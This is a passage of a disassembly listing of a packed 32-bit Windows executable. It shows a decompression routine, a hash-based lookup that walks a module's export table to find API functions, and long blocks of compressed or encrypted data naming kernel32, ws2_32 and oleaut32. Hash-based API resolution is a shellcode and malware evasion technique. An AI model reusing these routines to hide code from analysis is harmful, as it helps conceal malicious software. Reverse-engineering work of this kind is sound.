cmp eax, 7D00h
jnb short loc_46B77C
cmp eax, 500h
jb short loc_46B777
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_46B68F
; ---------------------------------------------------------------------------
loc_46B777: ; CODE XREF: sub_46B67B+ECj
cmp eax, 7Fh
ja short loc_46B77F
loc_46B77C: ; CODE XREF: sub_46B67B+E5j
add ecx, 2
loc_46B77F: ; CODE XREF: sub_46B67B+FFj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_46B68F
; ---------------------------------------------------------------------------
loc_46B78C: ; CODE XREF: sub_46B67B:loc_46B6B0j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_46B7A8
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_46B68F
; ---------------------------------------------------------------------------
loc_46B7A8: ; CODE XREF: sub_46B67B+119j
pop ebp
sub edi, [ebp+arg_4]
mov [ebp+var_4], edi
popa
pop ebp
retn 8
sub_46B67B endp
; ---------------------------------------------------------------------------
dd 7C80261Ch
; =============== S U B R O U T I N E =======================================
sub_46B7B8 proc near ; CODE XREF: sub_46B1FE:loc_46B517p
arg_20 = dword ptr 24h
mov eax, [esp+arg_20]
sub_46B7B8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_46B7BC proc near ; CODE XREF: sub_46B1FE+2D5p
and eax, 0FFFF0000h
add eax, 10000h
loc_46B7C6: ; CODE XREF: sub_46B7BC+14j
sub eax, 10000h
cmp word ptr [eax], 5A4Dh
jnz short loc_46B7C6
loc_46B7D2: ; CODE XREF: .data:0046B4EFp
pusha
mov [ebp+3F8h], eax
mov edx, eax
mov ebx, eax
add eax, [eax+3Ch]
add ebx, [eax+78h]
mov [ebp+30Dh], ebx
lea ebx, [ebp+3CCh]
lea edi, [ebp+3E4h]
loc_46B7F5: ; CODE XREF: sub_46B7BC+4Dj
mov esi, [ebx]
mov [ebp+37Ch], esi
call sub_46B80D
stosd
add ebx, 4
cmp dword ptr [ebx], 0
jnz short loc_46B7F5
popa
retn
sub_46B7BC endp
; =============== S U B R O U T I N E =======================================
sub_46B80D proc near ; CODE XREF: sub_46B7BC+41p
var_4 = dword ptr -4
pusha
mov ebx, [ebp+30Dh]
mov ecx, [ebx+20h]
add ecx, edx
loc_46B819: ; CODE XREF: sub_46B80D+21j
mov esi, [ecx]
add esi, edx
call sub_46B851
mov edi, 49CD75CEh
cmp eax, edi
jz short loc_46B830
add ecx, 4
jmp short loc_46B819
; ---------------------------------------------------------------------------
loc_46B830: ; CODE XREF: sub_46B80D+1Cj
sub ecx, [ebx+20h]
sub ecx, edx
shr ecx, 1
add ecx, [ebx+24h]
add ecx, edx
movzx ecx, word ptr [ecx]
shl ecx, 2
add ecx, [ebx+1Ch]
add ecx, edx
mov ecx, [ecx]
add ecx, edx
mov [esp+20h+var_4], ecx
popa
retn
sub_46B80D endp
; =============== S U B R O U T I N E =======================================
sub_46B851 proc near ; CODE XREF: sub_46B80D+10p
push edx
mov edx, 9C3B248Eh
loc_46B857: ; CODE XREF: sub_46B851+1Dj
lodsb
or al, al
jz short loc_46B870
xor dl, al
mov al, 8
loc_46B860: ; CODE XREF: sub_46B851+1Bj
shr edx, 1
jnb short loc_46B86A
xor edx, 0C1A7F39Ah
loc_46B86A: ; CODE XREF: sub_46B851+11j
dec al
jnz short loc_46B860
jmp short loc_46B857
; ---------------------------------------------------------------------------
loc_46B870: ; CODE XREF: sub_46B851+9j
xchg eax, edx
pop edx
retn
sub_46B851 endp
; ---------------------------------------------------------------------------
db 0A7h
dd 0F0B72551h, 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h
dd 0A0000000h, 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah
dd 7C809Ah, 7C8000h, 1C00017Ch, 0F20006BBh, 158h, 300h
dd 2 dup(400000h), 3 dup(0)
dd 22108h, 0
dd 12FFA4h, 12FFE0h, 390000h, 1000h, 1F400h, 0F271h, 21000h
dd 1C00h, 1508h, 23000h, 15C00h, 6DF5h, 37h dup(0)
dd 2000h, 8, 6 dup(0)
dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
dd 3 dup(0)
dd 6BA10h, 6B9FCh, 3 dup(0)
dd 6BAB4h, 6BAD9h, 3 dup(0)
dd 6BABFh, 6BAE1h, 3 dup(0)
db 0CCh
db 0BAh, 6, 0
; ---------------------------------------------------------------------------
jmp loc_46C15B
; ---------------------------------------------------------------------------
align 4
dd 4 dup(0)
dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB442800h
dd 71h, 126AEA00h, 77h, 812A0900h, 7Ch, 56000000h, 61697261h
dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
dd 74706563h, 6E6F69h, 0
dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h
dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h
dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h
dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch
dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah
dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h
dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah
dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h
dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h
dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h
dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h
dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h
dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h
dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h
dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h
dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h
dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h
dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h
dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h
dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h
dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch
dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h
dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h
dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h
dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h
dd 68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h
; ---------------------------------------------------------------------------
loc_46C120: ; CODE XREF: .data:0046C126j
out dx, eax ; DMA controller, 8237A-5.
; channel 3 base address
; (also sets current address)
popa
mov [edi-4Bh], ch
loc_46C125: ; CODE XREF: .data:loc_46C15Bj
sahf
jb short loc_46C120
mov word ptr [eax], es
adc al, 12h
push 0CCCA0FF8h
sbb [edi], al
mov ds:3D832D88h, eax
push eax
push es
sbb al, [edi+ebp-7A104800h]
popf
adc eax, 330E05h
leave
add al, 82h
hlt
; ---------------------------------------------------------------------------
dd 173D2A40h, 0DAF01h, 2770B841h
db 2Ch, 0BEh, 0
; ---------------------------------------------------------------------------
loc_46C15B: ; CODE XREF: .data:0046BA9Cj
jnb short loc_46C125
bound edi, [esp+eax*4-3Ah]
add eax, 14A0528h
mov al, ds:0F5005A0Eh
mov word ptr [edx], cs
adc [eax+6Dh], ch
pop es
xchg eax, edi
sub [edi-3C7FF0AFh], eax
jmp near ptr 0FE4A7C70h
; ---------------------------------------------------------------------------
db 14h, 0EBh, 0E5h
dd 5DF82EA0h, 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h
dd 0C7971A4Ah, 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h
dd 0D825F477h, 423C3Ah, 0A63D51D5h, 0E4B52EB3h, 39FE601h
dd 61B88993h, 117FDE4h, 153E3238h, 0E0535E57h, 0E9007505h
dd 0DA77CA51h, 1F3B1A94h, 80290A52h, 5BDBC2E4h, 537CE080h
dd 0A17C051Ch, 83390980h, 0B1528h, 480213DFh, 0E4F98108h
dd 7F27AD0Eh, 176D0038h, 0B79C985h, 0C183031Ch, 240968Eh
dd 0CD97D2D5h, 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch
dd 0D6780CBFh, 0AE158203h, 752D709h, 938C9D66h, 4AB590EBh
dd 0C100ED80h, 0EE030772h, 70FCF0Ch, 8112C216h, 7518F0FAh
dd 10009EE8h, 31185B9h, 0A08E534Fh, 1CA40BEh, 97F0E983h
dd 0C401761Ch, 7C0010FAh, 703C70Fh, 8B3034h, 2085D14Ch
dd 28A0D80Ch, 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h
dd 5FF1490h, 87B81C3Fh, 4EA83D0h, 0FCE2ABF0h, 7FE40186h
dd 15011217h, 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh
dd 2C2B5F02h, 13010D84h, 4A522A0Bh, 0A7701C0Ah, 4DB8C2h
dd 4D08B1FEh, 0E1339048h, 9149200h, 31742506h, 47F2Ah
dd 0A154B0DAh, 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h
dd 1F643EBh, 8AB8FAC7h, 72E0A746h, 0C62B0800h, 58EB703Bh
dd 8806001Eh, 2B64FE8h, 0DE00030Bh, 64455509h, 1FD8963Dh
dd 7A00733h, 20670AA9h, 3E5A250Bh, 0B0F8BF00h, 2A824D8h
dd 13760075h, 0C655F378h, 4600FC32h, 8316A008h, 0FE7A23h
dd 0B02CC74Bh, 0B20994F8h, 13B34503h, 984D665Ch, 7FDC5D3Fh
dd 418D0067h, 52D12B37h, 873D7FF3h, 0C49CAEC9h, 0FBC5FA00h
dd 4C7DE9E3h, 7F39B412h, 91925304h, 0C37AC466h, 25F80F47h
dd 8D00EFA8h, 1157E746h, 822CF4h, 0B979EDD6h, 0D5C6301Eh
dd 0B5002B79h, 0AA6BE342h, 705AF813h, 0C29A3A73h, 148D0A00h
dd 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh, 1B00060h, 489C5A59h
dd 30006BE9h, 7389DFA0h, 2C0239BAh, 0D3C603h, 14095C1h
dd 990EFE81h, 0A137984Eh, 359AD285h, 0FAC2F4h, 4D2E4C9Bh
dd 0A5F49009h, 4410BC00h, 1D5C890Dh, 25B0013h, 3AEB1B87h
dd 431FE369h, 0C3001296h, 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch
dd 73C3921h, 8283090Ch, 84EF0017h, 1CCD1D33h, 0AE2E4BB3h
dd 1FC20057h, 0EA7E1180h, 8E099200h, 836252FDh, 0EB210307h
dd 1441A12Bh, 0B930C8C0h, 84421500h, 7448C51h, 591913CAh
dd 0A8870EAFh, 78962640h, 6B050969h, 8D41670Eh, 0C7A5FB80h
dd 0C2FC58F8h, 220D4A03h, 8CE30835h, 468240FFh, 521D7C3Bh
dd 0D8400712h, 5FE82606h, 297B0099h, 4470119h, 9D030320h
dd 7449F30Bh, 0C63FC824h, 0E8170781h, 5033ABCFh, 117A842Dh
dd 0DD0024F6h, 485932C7h, 5EDF6Dh, 3735F56Fh, 4D3E7D82h
dd 5D218300h, 9D10FE93h, 0C96C0094h, 0F174D4CFh, 6B00E809h
dd 9833C606h, 8B3E36h, 0D7396C4h, 22075CAh, 73A905Ch, 0BEC6490Ch
dd 8DCC5EF0h, 2E527FE1h, 1C2FBAAh, 94B60CAh, 2E8FC882h
dd 8E90A23Bh, 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h
dd 87B75D2h, 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h
dd 0D4E19B80h, 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch
dd 19920B7Bh, 7F1F31D7h, 0EBC38E43h, 90281F42h, 79F4BB74h
dd 16630026h, 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h
dd 907889Ah, 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h
dd 0FD8498C7h, 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h
dd 0F30A024Bh, 4432CEEEh, 4C515160h, 3E66F51Dh, 0B0C0BC1Dh
dd 5658B61h, 0D33C0074h, 92D60317h, 0EB004D32h, 41F211C1h
dd 5758Ch, 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h
dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh
dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h, 24C3838Eh
dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h
dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h
dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h
dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh
dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h
dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h
dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh
dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h
dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h
dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch
dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h
dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh
dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h
dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh
dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h
dd 0C584B883h, 5ABC3Eh, 0C031B244h, 154C966h
dd 428F1E50h, 0DD105180h, 8BD2F80Fh, 110388F8h, 6905489h
dd 1F91D0C8h, 0C65F00CBh, 3916D7D8h, 770009F7h, 602F7413h
dd 2A7829h, 0F8A5F33Fh, 3E1831Dh, 18A4D207h, 0E177431h
dd 7C3AFC30h, 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h
dd 728143FCh, 4C4000Ch, 5086092Fh, 0EB391290h, 8A0FFF01h
dd 0E0D14003h, 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh
dd 0C50558h, 34E6EB02h, 4FE255Fh, 1B1CC7FAh, 88508043h
dd 62070414h, 84135640h, 0DDD21B1h, 2E58F0D8h, 0ACD2C3h
dd 8028D818h, 9C7F3D07h, 0CD7C8B00h, 20CE5F61h, 42B700F5h
dd 14D66A27h, 800EE25h, 0C2F81CCBh, 788977h, 681E34E0h
dd 2C0B055Dh, 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh
dd 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h
dd 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh
dd 73410C72h, 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh
dd 40401E9Ch, 1F4558Bh, 0F60169D0h, 178A38E8h, 0E0DE1964h
dd 483C0533h, 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h
dd 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h, 0FD0092A4h, 33285CDFh
dd 13FA2C16h, 1CA959h, 0AB81C735h, 0D90F078Ah, 67A2BBD6h
dd 0D0009816h, 381272h, 0E7F77C8h, 88AAD160h, 1470700h
dd 0DE7AD748h, 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h
dd 0A668A64h, 62410068h, 0C131A990h, 0E01F94E9h, 55C02203h
dd 51082027h, 0F6CE0BF4h, 0B40013EEh, 80A61C26h, 0D9391A03h
dd 0F84E4575h, 23DB815h, 5A73E1B0h, 92801BCBh, 0C21CE5DBh
dd 454EDE00h, 0D606EBE2h, 3A1672E6h, 0F0FE5Eh, 8A367403h
dd 750A3A08h, 54306700h, 1489313h, 9F4A00D3h, 401625B6h
dd 83780208h, 311AB200h, 0B3B9D7D4h, 107A0138h, 0CF3FDA3h
dd 80FAB93Dh, 21D64EBh, 903119h, 0CD88BB51h, 10E08650h
dd 0CD46600h, 83184CB2h, 0ABF33B09h, 86311200h, 24405FAAh
dd 0F156900h, 8840541h, 89B202C7h, 0E2F70BA2h, 0B04C3AE0h
dd 1452480Eh, 0CF26403Eh, 99036Fh, 9229D031h, 0F2FB5AB9h
dd 190DB00h, 96F1F728h, 0F8300048h, 0C7431C17h, 8003BE03h
dd 0C6057DF6h, 0FA2DE804h, 1F170088h, 0F9018B47h, 0FFE68114h
dd 844F852Eh, 2307B90Eh, 7B97D929h, 0B0A3000Ah, 8AD20F20h
dd 12001C44h, 754B2B42h, 0AD41F6h, 51B82318h, 0E9968F82h
dd 2F9CB300h, 0CC2CAC33h, 94CE1D50h, 0C6634773h, 20190BFh
dd 1E018A0Ch, 70FB8046h, 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh
dd 248166D0h, 0FE78080Eh, 0FD58C061h, 0F30025Ch, 28ACCBE2h
dd 26844FE1h, 623CC4Ah, 4EB2000h, 0EE347F0Dh, 24C02630h
dd 392C0093h, 3F28E8F8h, 1C048D0Fh, 0D89BC001h, 1340555h
dd 0CDFEE675h, 0F8D4E486h, 5905127Ch, 3289F631h, 90461780h
dd 7703486Ah, 78F07E00h, 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh
dd 48ACBFBCh, 32008E1Fh, 92DF7430h, 3007261h, 5420A2CAh
dd 0EA0B7643h, 1F110010h, 4CD07705h, 0BF010AC3h, 565A90C9h
dd 0D5C05D04h, 1A97DEBh, 0FAFFB150h, 0C0427D2Ah, 70074EDh
dd 0FE288840h, 7512C9h, 3C1E5AF2h, 6C430253h, 7301FA00h
dd 90517497h, 8B440035h, 0ECF85442h, 52005D36h, 195A8C68h
dd 0FE570926h, 0EB84Ah, 0FF1250A9h, 0D32BF03h, 1B48AC04h
dd 35C0C69Fh, 0BFC5C14h, 8C7C3D74h, 4C08F000h, 2F00B859h
dd 8304D250h, 2E01F835h, 0CD290Eh, 900B1B22h, 0AC0325FFh
dd 338B4C79h, 6350E0DBh, 50C741Ah, 1C753E07h, 701D802Ah
dd 91009225h, 0D41A1B0h, 3F29845h, 161F4C22h, 0A09801B3h
dd 0F4004028h, 57037B0h, 0B847604Fh, 8D736Fh, 6A6250FCh
dd 0F6386886h, 653A652Eh, 6BE84700h, 378323Fh, 5511E04Dh
dd 2DA06168h, 3000FF64h, 1B2089CCh, 0F445C7h, 0EE608691h
dd 0F808CB50h, 69C52C00h, 0AC8B8954h, 34E683h, 8AEAA267h
dd 63C41618h, 0E0985200h, 0A16628EFh, 25EC0071h, 97FFC02Ch
dd 8700F89Fh, 0C33FE283h, 0EFBC20Bh, 9C2A59A3h, 4F53003Ch
dd 41575446h, 450052E0h, 726F425Ch, 4C3C616Ch, 44003C6Eh
dd 6870C765h, 5200F169h, 46C04C54h, 550350h, 6B73614Dh
dd 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h, 60D7C7ACh
dd 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh, 3FE800D8h
dd 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h, 77BBC36h
dd 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h, 0BE50E975h
dd 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h, 3C0C141Ch
dd 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh, 19A2004Ah
dd 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h, 6C034BFCh
dd 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh, 0E859247Ah
dd 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h, 706731FEh
dd 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh, 3EA6734Ch
dd 6BE00F6h, 0C827B2Ch, 207F3834h, 75493700h, 0A8E3453Bh
dd 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h, 4BC3F300h
dd 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh, 510039D3h
dd 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh, 290B0358h
dd 35CF0C8h, 96F7FC47h, 44C0B891h, 1126D480h, 2401303Ch
dd 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh, 67E8E740h
dd 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh, 0E802F061h
dd 53515200h, 818FF689h, 0F4500084h, 1058E012h, 6E7E6463h
dd 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh, 0A0002FBh
dd 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h, 22000E74h
dd 4950811Dh, 23581Eh, 47257531h, 8BF09821h, 0FF131000h
dd 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h, 0E8060EAAh
dd 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h, 0DF056B66h
dd 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch, 6A546200h
dd 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h, 0A04A200h
